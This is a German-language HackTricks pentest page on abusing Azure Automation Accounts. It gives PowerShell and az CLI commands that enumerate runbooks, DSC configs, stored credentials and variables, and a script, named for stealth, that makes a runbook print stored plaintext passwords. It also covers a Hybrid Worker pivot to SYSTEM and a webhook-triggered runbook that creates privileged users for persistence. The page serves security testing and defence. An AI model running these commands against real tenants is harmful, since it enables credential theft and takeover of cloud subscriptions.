Az - Automation Account

Support HackTricks

Grundinformationen

Aus den Dokumenten: Azure Automation bietet einen cloudbasierten Automatisierungs-, Betriebssystem-Updates- und Konfigurationsdienst, der eine konsistente Verwaltung in Ihren Azure- und Nicht-Azure-Umgebungen unterstützt. Es umfasst Prozessautomatisierung, Konfigurationsmanagement, Update-Management, gemeinsame Funktionen und heterogene Merkmale.

Diese sind wie "geplante Aufgaben" in Azure, die es Ihnen ermöglichen, Dinge (Aktionen oder sogar Skripte) auszuführen, um die Azure-Umgebung zu verwalten, zu überprüfen und zu konfigurieren.

Run As-Konto

Wenn das Run as-Konto verwendet wird, erstellt es eine Azure AD Anwendung mit einem selbstsignierten Zertifikat, erstellt einen Dienstprinzipal und weist dem Konto in dem aktuellen Abonnement die Rolle Contributor zu (viele Berechtigungen). Microsoft empfiehlt die Verwendung einer Managed Identity für das Automation Account.

Dies wird am 30. September 2023 entfernt und durch Managed Identities ersetzt.

Runbooks & Jobs

Runbooks ermöglichen es Ihnen, beliebigen PowerShell-Code auszuführen. Dies könnte von einem Angreifer missbraucht werden, um die Berechtigungen des angehängten Prinzips (falls vorhanden) zu stehlen. Im Code der Runbooks könnten Sie auch sensible Informationen (wie Anmeldeinformationen) finden.

Wenn Sie die Jobs lesen können, tun Sie dies, da sie die Ausgabe des Laufs (potenziell sensible Informationen) enthalten.

Gehen Sie zu Automation Accounts --> <Select Automation Account> --> Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections

Hybrid Worker

Ein Runbook kann in einem Container innerhalb von Azure oder in einem Hybrid Worker (nicht-Azure-Maschine) ausgeführt werden. Der Log Analytics Agent wird auf der VM bereitgestellt, um sie als Hybrid Worker zu registrieren. Die Hybrid Worker-Jobs werden als SYSTEM unter Windows und als nxautomation-Konto unter Linux ausgeführt. Jeder Hybrid Worker ist in einer Hybrid Worker-Gruppe registriert.

Daher, wenn Sie wählen können, ein Runbook in einem Windows Hybrid Worker auszuführen, führen Sie beliebige Befehle auf einer externen Maschine als System aus (schöne Pivot-Technik).

Kompromittierte Statuskonfiguration (SC)

Aus den Dokumenten: Azure Automation Statuskonfiguration ist ein Azure-Konfigurationsmanagementdienst, der es Ihnen ermöglicht, PowerShell Desired State Configuration (DSC) Konfigurationen für Knoten in jeder Cloud oder in einem lokalen Rechenzentrum zu schreiben, zu verwalten und zu kompilieren. Der Dienst importiert auch DSC-Ressourcen und weist Konfigurationen den Zielknoten zu, alles in der Cloud. Sie können auf Azure Automation State Configuration im Azure-Portal zugreifen, indem Sie Statuskonfiguration (DSC) unter Konfigurationsmanagement auswählen.

Sensible Informationen könnten in diesen Konfigurationen gefunden werden.

RCE

Es ist möglich, SC zu missbrauchen, um beliebige Skripte auf den verwalteten Maschinen auszuführen.

Az - State Configuration RCE

Enumeration

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

Erstellen eines Runbooks

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Exfiltrieren von Anmeldeinformationen und Variablen, die in einem Automatisierungskonto definiert sind, mithilfe eines Run Books

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

Sie könnten dasselbe tun, indem Sie ein vorhandenes Runbook ändern und über die Webkonsole.

Schritte zur Einrichtung einer automatisierten Erstellung von hochprivilegierten Benutzern

1. Ein Automation-Konto initialisieren

  • Aktion erforderlich: Erstellen Sie ein neues Automation-Konto.

  • Spezifische Einstellung: Stellen Sie sicher, dass "Azure Run As-Konto erstellen" aktiviert ist.

2. Runbook importieren und einrichten

  • Quelle: Laden Sie das Beispiel-Runbook aus dem MicroBurst GitHub Repository herunter.

  • Erforderliche Aktionen:

  • Importieren Sie das Runbook in das Automation-Konto.

  • Veröffentlichen Sie das Runbook, um es ausführbar zu machen.

  • Fügen Sie dem Runbook ein Webhook hinzu, um externe Trigger zu aktivieren.

3. AzureAD-Modul konfigurieren

  • Aktion erforderlich: Fügen Sie das AzureAD-Modul zum Automation-Konto hinzu.

  • Zusätzlicher Schritt: Stellen Sie sicher, dass alle Azure Automation-Module auf die neuesten Versionen aktualisiert sind.

4. Berechtigungszuweisung

  • Zuzuweisende Rollen:

  • Benutzeradministrator

  • Abonnementbesitzer

  • Ziel: Weisen Sie diese Rollen dem Automation-Konto für die erforderlichen Berechtigungen zu.

5. Bewusstsein für potenziellen Zugriffsverlust

  • Hinweis: Seien Sie sich bewusst, dass die Konfiguration einer solchen Automatisierung dazu führen kann, die Kontrolle über das Abonnement zu verlieren.

6. Benutzererstellung auslösen

  • Lösen Sie das Webhook aus, um einen neuen Benutzer zu erstellen, indem Sie eine POST-Anfrage senden.

  • Verwenden Sie das bereitgestellte PowerShell-Skript und stellen Sie sicher, dass Sie die $uri durch Ihre tatsächliche Webhook-URL ersetzen und die $AccountInfo mit dem gewünschten Benutzernamen und Passwort aktualisieren.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Referenzen

Unterstützen Sie HackTricks

Last updated